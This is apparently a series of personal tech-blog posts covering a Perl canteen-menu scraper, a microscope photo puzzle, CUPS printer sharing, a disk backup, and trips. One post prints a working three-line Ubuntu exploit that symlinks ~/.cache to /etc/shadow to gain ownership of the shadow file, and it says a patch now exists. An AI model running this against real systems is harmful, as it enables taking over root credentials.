Mensa plan

I often check what our canteen offer for lunch before we leave our building. The website that presents this portfolio is one of the worst I’ve ever seen and meanwhile I noticed that my private walking Mensa planer has still some bugs, so I had to think about an alternative solution and developed a little Perl script…

My initial idea was to read the website, parse the XML code and print the meals. Not a bit of it! The code of this site is nothing like valid! They invent new tags I’ve never heard about, they close nowhere opened paragraphs or table cells, I do not find the html-closing tag (the document ends with closing it’s body) and so on… It’s to much to mention all it’s unique features, but let me blame the producer: Peinhardt IT Systeme. Seems to be professionals… (A notice has left my mailbox, looking forward to their answer)

How ever, XML parsing fails, solving the bugs also fails, to much of it… So I’m now just grabbing the HTML-code, to extract the interesting content, with a more or less ugly regex, and print them to console… Here is the code:

#!/usr/bin/perl -w

use warnings;
use strict;
use LWP::UserAgent;

binmode STDOUT, ":utf8";

my $url = "http://meine-mensa.de/speiseplan_iframe";
my $mensa = 5;

my $browser = LWP::UserAgent->new(parse_head => 0);
$browser->timeout(10);

my $response = $browser->post ($url, ["selected_locations[]" => $mensa]);
my $content = $response->decoded_content ();
$content =~ s/\n//g;

while ($content =~ /<span style="font-weight: normal; font-size: 12px" class="counter_name">(.+?)<\/span>.+?<span.+?>(.+?)<\//gi)
{
	print $1.":\t".$2."\n";
}

So if somebody is also joining the Mensa Weinberg, you can copy this code or download it. The other canteens are also available, just change the value of the variable $mensa to your preferred one. The numbers can be found in the source code of this stupid website. Ok, to save you from trouble here are the numbers:

Cafeteria Brandbergweg
11
Cafeteria Burg
12
Mensa Bernburg
8
Mensa Dessau
13
Mensa Franckesche Stiftungen
14
Mensa Harz
3
Mensa Köthen
7
Mensa Neuwerk
9
Mensa Tulpe
10
Mensa Weinberg
5

Well, that’s it! Now you can decide within seconds whether it’s worthy to go to lunch or better stay hungry ;)

Download: Perl: essen.pl (Please take a look at the man-page. Browse bugs and feature requests.)

Microscope puzzle

On Tuesday I went to Penny to buy some usual stuff. This week they also offered digital microscopes. One was left, so I had to purchase!

I did not expect any great hardware, but I’m astonished! First because it works on my sidux without any driver or manual work, just had to connect it to my USB port! And secondly I did not thought that 200 times magnification is such a high zoom rate..

How ever, I already had a lot of fun with it and prepared a puzzle. Here are some zoomed images and you can try to guess where it came from. Suggestions can be posted via comment, those of you who found a right solutions are invited to drink a beer with me ;)

Zoom A

An easy one to start…

Solution: Wood guessed by Martin S.


Zoom B

You use it nearly every day, don’t you!?

Solution: Backside of a German Euro coin guessed by Martin S.


Zoom C

Girls have to know it :P

Solution: Paper Towels guessed by Michael Rennecke


Zoom D

Maybe you’ll find it in your office…

Solution: Ball pen guessed by Martin S.


Zoom E

Not mine, but nevertheless very nice ;)

Solution: Watch guessed by Martin S.

(Unfortunately it’s Maria’s, I don’t have a real image of it yet… Comming soon)


Zoom F

If you can directly tell me where it comes from I’m impressed!

Solution: Novell animal guessed by Maria


Zoom G

Nice and old one! We use it to decrease the noise.

Solution: Mousepad guessed by Martin S.


Zoom H

Teachers may know it.

Solution: Whiteboard marker guessed by Michael Rennecke and Christoph R.


Zoom I

It’s a small zoom rate and very easy, but it looks nice.

Solution: DVI-Connector guessed by Michael Rennecke


Zoom J

Done with a tool from previous image.

Solution: Painted Whiteboard guessed by Michael Rennecke

(Unfortunately with a hint…)


Zoom K

It’s a mini computer.

Solution: Chipcard chip guessed by Martin S.


Zoom L

I don’t really like it, maybe I’m the only one who doesn’t…

Solution: Sugar guessed by Christoph R.


Zoom M

Also easy I think..

Solution: Screw guessed by Norman


Zoom N

Office stuff.

Solution: Ammo for stapler gun guessed by Martin S.


Zoom O

From the refrigerator.

Solution: Sausage guessed by Steffi


Zoom P

You are using it at the moment! Thanks to Rumpel!

Solution: (Mona Lisa) Harddrive guessed by Michael Rennecke


Zoom Q

At least one of it is actually running in every bigger machine.

Solution: Fan guessed by Michael Rennecke


Zoom R

Ok, thats difficult, I’m wondering if anyone can find the right answer. I’ve already blogged about it…

Solution: Look through a SUN-Ray guessed by Michael Rennecke


Zoom S

Small zoom and simple to guess.

Solution: Crinkled cardboard guessed by Martin S.


Zoom T

Also for teachers.

Solution: Chalk guessed by Martin S.


Zoom U

Sportsmen know such things.

Solution: Rumpel’s scab ;) guessed by Martin S.


Zoom V

You’ll find one in nearly every office.

Solution: Pencil guessed by Christoph R.


Zoom W

Also not mine ;)

Solution: Shaved beard guessed by Michael Rennecke


Zoom X

Mmmh, disgusting, isn’t it?

Solution: Kiwi guessed by Maria and Norman


Zoom Y

Also disgusting I think.

Solution: Dried Strawberry guessed by Maria


Zoom Z

Germans should know it!

Solution: Print media guessed by Martin S.

(Wow, c’t identified! It’s written on the CD)


Zoom 1

Oh nice colors.

Solution: Display guessed by Martin S.


Zoom 2

Something like a kaleidoscope?

Solution: Condensed water guessed by Michael Rennecke


Zoom 3

Mmh, that is tasty, ask your doc!

Solution: Apple stem guessed by Maria


Zoom 4

Yes, that is mine!

Solution: Unshaved beard guessed by Michael Rennecke


Tomorrow I’ll provide some more images, but not for puzzling because to some of the images I don’t have a right solution or I don’t know an exact name. So be patient ;)


Update: As promised the album.

Microscoping
Microscoping

uuurrgh... Ubuntu

Ubuntu, you all should know, isn’t my preferred operating system. It’s very nice for linux beginners and may decrease some manual work at private machines, but when I’ve heard about the actual bug I’m very confused why we still have to use Ubuntu in our PC pools and why some work groups are emphatic about this system and why we have to administrate their server and local machines with Ubuntu.

I’m still wondering why simple users in Ubuntu systems can out of the box read all log files or the shadow.. That is not that kind of security I’m dreaming about ;)

The actual bug is very simple (via):

rm -rf ~/.cache
ln -s /etc/shadow ~/.cache
ssh localhost

Now you’ve owned the shadow file and you are able to modify roots pass phrase! It’s just too easy…

By the way I tried it by myself and got a funny message:

mscharm@SERVER ~ % ssh localhost
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
aa:bb:cc:dd:ee:ff:gg:hh:ii:jj:kk:ll:mm:nn:oo:pp.
Please contact your system administrator.
Add correct host key in /homes/mscharm/.ssh/known_hosts to get rid of this message.
Offending key in /homes/mscharm/.ssh/known_hosts:10
RSA host key for localhost has changed and you have requested strict checking.
Host key verification failed.
255 mscharm@SERVER ~ %

And my friend Rumpel also tried this exploit and after lunch I just heard him saying

fuck, bolted out, by my self...

not able to disable his screensaver. Maybe he changed a little bit to much in his shadow file!? ;)

Fortunately the patch is released, so have a lot of fun while updating your systems. You should reboot after the update, otherwise the bug is still enabled…

Google does not like self-signed SSL certs

The last few days my feeds were out of date. I manage them with Google’s solution called feedburner, you may have recognized it.

It seems that the developer of this project changed some stuff, anyway, they did not actualize my feeds. The last days (or weeks) I did not had the time to care about, but today I found some minutes.

When I tried to resync my feeds manually I got this nice red error (see also the picture):

There is an issue that must be addressed with your source feed for the feed "binfalse" sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

This is caused by my Apache redirect directive that redirects all visitors looking for an insecure URL at port 80 to my SSL encrypted content at port 443:

<virtualhost *:80>
...
        Redirect / /
...
</virtualhost>

So you see I’m caring about security ;)

This method works for a long time, but now feedburner tries to verify the certs and because of a lack of money I signed my certs by myself. So feedburner denies the access and doesn’t reread my own feeds to update its database. To repair this problem I’m just redirecting my real content and not the feeds, so feedburner is happy and why should I care about the secure connection of feedburner to my site..

Nevertheless it is not my preferred solution.

Inactivity? Not in the slightest...

Before anyone thinks I’m hibernating, I’ve just soo much to do, so there is no time to maintain this blog… Just don’t know what to do first.

This week I had a presentation, topic was “Modeling of Overflow Metabolism in Batch and Fed-Batch Cultures of Escherichia coli”. I also had to submit a study, with the headline “Modeling and evaluation of the dynamic behavior of a fermentation by simulation”, that among others analyzes the dependencies of the ratio of product concentration versus biomass concentration on biological parameters. Additionally this week I finished a work for a friend at the Otto-von-Guericke-Universität Magdeburg. He has to evaluate x-rays taken at a new detector and I developed a tool that does the trick.

As if that were not enough time consuming I’m still working on my project work, next week I have to present it in a research seminar (fortunately in German).

The reason I write this article, tomorrow is the so called Lange Nacht der Wissenschaften (translated by Google: Long Night of Science). Here the different departments of the university are presenting what they are doing, comprehensible for the public. In this event we have also a slot dealing with SUN Spots where I’m presenting some cool stuff I’ve programmed. Planed are a some introductions what Spots are and what they can do, and of course some demos. Among others we are playing with the light sensor and visualize a sunrise and a sunset, we demonstrate how one can regulate a fan depending on the temperature measured with a Spot (to induce a higher temperature a candle is planed, I hope everything will be well and the Spot won’t melt away!). Of course some basic demos are shown, like AirText or the BouncingDemo, and last but not least it is time to play. I have prepared a labyrinth that has to be solved by various people against each other (up to seven people at a time in the same labyrinth, just limited by the number of available Spots), and also I also developed a control system for the game Blobby Volley to navigate the Blobbies with a Spot, maybe you’ve heard about it ;) We also wanted to build a little car to drive around a little bit, but I’m not such engineer so this car isn’t finished…

If you are bored and don’t know what to do tomorrow visit this presentation!! It’s at 8.30 am in room 3.31 at the Von-Seckendorff-Platz 1.

Maybe I publish all the code when there is a little bit time to write some comments and how-to’s.

So you see, I’m very busy at the moment. If anyone has nothing to do, just notify me, I’ll give you something to work on!

Thunderbird to systray

Til version 3 of Thunderbird, or more exactly icedove, I used the add-on New Mail Icon to free the busy space in task list that the Thunderbird process uses even though I have this window very rarely in foreground. But it seems that there is no further development in this project, so this software isn’t compatible to the actual major release…

On my main desktop I thought I have to live with that, but on my notebook screen there is a lack of space, more than ever, so I had to search for an alternative tool. On my way I found a tool (no add-on) called AllTray, it’s available in the Debian/Ubuntu repository. That can dock any window to your tray, so it doesn’t depend on Thunderbird, you can also dock a terminal or your editor or even a complete (Oracle VM) VirtualBox instance.

For my Thunderbird problem it’s a half of the solution, because this tool doesn’t tell me whether there are unread mails. But after some more research I found a real add-on called FireTray that does the desired trick. So more space for other junk ;-)

Serv local printer

I have an old printer, an HP Laserjet 6P. It is very reliable and fast, so no need to buy a new one. But there is a problem (I thought), this printer has no network interface, it is connected with a parallel port to my host. Some minutes ago I racked my head how to use this printer with my notebook. Now I’m wondering how easy it is using cups!!

On the server side (the machine that is connected to the printer) you just have to modify this printer and check the field called “Share This Printer”, and in the administration tab just enable “Share printers connected to this system” and “Allow printing from the Internet”.

On your client you only have to publish your server. To do it for the complete system write the following line in your /etc/cups/client.conf , to set this server only for your local user account write it to your users $HOME/.cups/client.conf :

ServerName SERVER:PORT

You just have to specify the port if your server is not listening on the default port 631.

That’s it! Open a document and try to print! I still cannot believe that it is that easy ;)

Thanks to the cups-team

Need more bandwidth!

Today I got my new notebook, an IdeaPad. I had some concerns about the glare display, never used glare displays but it seems to be no problem and I don’t have a choice, Lenovo doesn’t sell that kind of notebooks without glare displays.

This laptop comes with Windows XP and of course I have to fix this bug ;)

But before I’ll delete the Windows installation and install a proper os the original system has to be backed up (I want to test some things before I decide whether to buy the laptop). So I installed the first release of „Ύπνος“ to my USB flash drive and booted into it. To back up the hard drive I mounted a piece of my main machine’s hard drive via sshfs to the laptop and copied the laptop’s hard drive to the other machine:

root@sidux /tmp % mkdir mount
root@sidux /tmp % sshfs user@192.168.0.55:/backup/lenovo mount/
password: 
root@sidux /tmp % dd if=/dev/sda of=/tmp/mount/neu.ddi ibs=1024k obs=8192

Ok, the notebook’s drive keeps 160 GB and I just have a 99 ct fast ethernet switch, so you can calculate the time I have to wait… That sucks, doesn’t anyone have a gigabit switch lying around? I would prefer Cisco switches ;)

Hopefully the backup will finish today, so I can play a little bit with the laptop and its luxurious 1.280x720 screen resolution on the 10’’ glare display.

Which country is the most stupid

Today I had a conversation with a scientist from Bulgaria who is working with microarrays. He told me some practical experiences of his work. It was very interesting and I learned a lot of things, in spite of the fact that I gave a lecture about microarrays some time ago.

In this talk he said a wonderful sentence:

Früher dachte ich immer die Russen wären dumm, bis ich die Amerikaner kennen gelernt habe!

English translation: Some years ago I thought the Russians are stupid, until I got to know the Americans.

Topic was the structuring of websites of companies. If he has a question he always has to search through the web because everyone tells him the answer is anywhere in there! affymetrix for example has thousands of user manuals, the intersection of all of these papers is very small, but one paper has hundreds of pages… And I think he is totally right. The arrangement of information today is very terrible, to find what you are searching about is some kind of art! But he doesn’t mince matters. I really like Eastern Europeans ;)

He invented me to his lab tomorrow so I can see how this affymetrix machinery produces the data that I get to analyze.

Little quickie through Germany

Oh no, not that kind of quickie you might think about! Rumpel an me decided more or less spontaneously to go to Bonn and visit one of our former employee Martin and additionally take a little look at SIGINT in Cologne.

So we rent a car at Sixt on Friday morning and met Martin at 5 pm in his flat. Of course our trip was very analog, we didn’t have any navigation device, just printed a route calculated by Google maps and rely to male instinct on the way through Germany and the high traffic in Ruhr Valley at Friday afternoon before holiday… What should I say, of course everything went totally well and we had a lot of fun in our little car! You can see some pictures at picasa.

Quickie through Germany
Quickie through Germany

Of course it was a great weekend! We’ve seen a lot of fascination places of Bonn and Cologne like Cologne cathedral, big ships on Rhine or Media Center in Cologne. The events at SIGINT were also interesting, where it cannot be compared with the Chaos Communcation Congress in Berlin. In Cologne you’ll always get a chair and the queues are very short. Nevertheless the topics are of high quality.

All in all it was an excellent trip, even it was very expensive.